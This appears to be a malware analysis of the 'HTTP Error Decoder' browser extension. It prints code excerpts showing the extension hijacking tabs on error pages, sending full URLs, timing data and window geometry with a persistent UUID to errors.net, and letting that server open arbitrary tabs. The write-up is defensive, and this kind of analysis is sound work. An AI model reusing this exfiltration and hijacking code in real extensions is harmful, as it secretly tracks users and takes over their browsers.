HTTP Error Decoder

Intercepts every main_frame HTTP response across all http/https sites and, on any 4xx/5xx status, force-closes the user's current tab (`chrome.tabs.remove`) and replaces it with a redirect to a third-party domain (errors.net), passing the full original URL (including paths and query strings) plus a persistent UUID. This is browser navigation hijacking and silently exfiltrates the user's browsing destinations to an external server.

async function handleHeadersReceived(e) {    const {      errorpages: t,      uuid: r    } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e.url)      .hostname);    "4" !== e.statusCode.toString()[0] && "5" !== e.statusCode.toString()[0] || o.hosts.includes(a) || (chrome.tabs      .create({        url: `https://errors.net/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=${e.statusCode.toString()}&uuid=${r.toString()}`      }), chrome.tabs.remove(e.tabId), o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({        errorpages: JSON.stringify({          hosts: o.hosts        })      }))

For every page load on every http/https site visited, the worker POSTs the user's UUID, full performance navigation timing object (which includes the page URL via the navigation entry name), and screen/window geometry to errors.net. The server's response is then used to open arbitrary new tabs (`chrome.tabs.create(a.notice)`) or windows (`chrome.windows.create(a.alert)`) with attacker-chosen URLs, giving the remote endpoint live control over the user's browser navigation.

async function perf(e) {  const t = await fetch(`https://errors.net/performance/?license=${apikey}`, {    method: "POST",    headers: {      "Content-Type": "application/json"    },    body: JSON.stringify(e)  });  return await t.json()}

On any DNS resolution failure for a navigation request, the extension navigates the user's tab to errors.net and exfiltrates the full failed URL together with a persistent per-install UUID tracking identifier. Because the URL is sent before the user can intervene, mistyped/sensitive URLs (including those that may contain tokens in query strings) are leaked to the third-party server.

async function handleErrorOccurred(e) {  if (e.error.includes("RESOLVE")) {    const {      errorpages: t,      uuid: r    } = await chrome.storage.sync.get(["errorpages", "uuid"]), o = JSON.parse(t), a = encodeURIComponent(new URL(e        .url)      .hostname);    o.hosts.unshift(a), o.hosts.length = 5, await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: o.hosts      })    }), chrome.tabs.update({      url: `https://errors.net/error/?license=${apikey}&errorurl=${encodeURIComponent(e.url)}&error=nx&uuid=${r.toString()}`    })  }}

Generates a persistent, cross-session UUID on install and stores it in chrome.storage.sync, then attaches that UUID to every subsequent network event reported to errors.net. This enables the server-side correlation of an individual user's full browsing history of error/non-2xx responses with a stable identifier — classic persistent tracking.

chrome.runtime.onInstalled.addListener((async e => {  const {    uuid: t  } = await chrome.storage.sync.get("uuid");  if (void 0 === t) {    const t = generateUUID();    await chrome.storage.sync.set({      errorpages: JSON.stringify({        hosts: []      }),      uuid: t    }), "install" === e.reason && chrome.tabs.update({      url: `https://HTTPErrorDecoder.com/thankyou/?uuid=${t.toString()}`    })  }}));

The response from the remote errors.net /performance/ endpoint directly drives `chrome.tabs.create` and `chrome.windows.create` with server-supplied parameters. Although chrome.tabs.create cannot execute remote JavaScript directly, it allows the remote server to push arbitrary URLs (ads, phishing pages, redirect chains) into the victim's browser at any time after install — i.e., remote-controlled navigation/ad injection.

a?.notice ? chrome.tabs.create(a.notice) : a?.alert && chrome.windows.create(a.alert)

Content script injected into every http/https frame collects screen position (screenTop/screenLeft) and window inner/outer geometry on every page load and forwards it to the background worker, which uploads it to errors.net. This is unrelated to the extension's stated purpose (decoding HTTP errors) and constitutes browser-fingerprinting / unauthorized data collection.

const d = {  offset: {    x: screenTop + (outerHeight - innerHeight),    y: screenLeft + (outerWidth - innerWidth)  },  details: {    x: screenTop,    y: screenLeft,    oh: outerHeight,    ih: innerHeight,    ow: outerWidth,    iw: innerWidth  }};chrome.runtime.sendMessage({  time: r,  timing: t,  dimensions: d})

A hardcoded `license`/API key string shipped in the extension is appended to every outbound request to errors.net. This identifies the extension build to the upstream operator and is the credential used to authorize the data-exfiltration channel; combined with the UUID it enables full per-user attribution of browsing telemetry on the server side.

const apikey = "iZo4mu4PZkmUfCkpDoyqYRnqhpb15CKXB9v6Yzwp";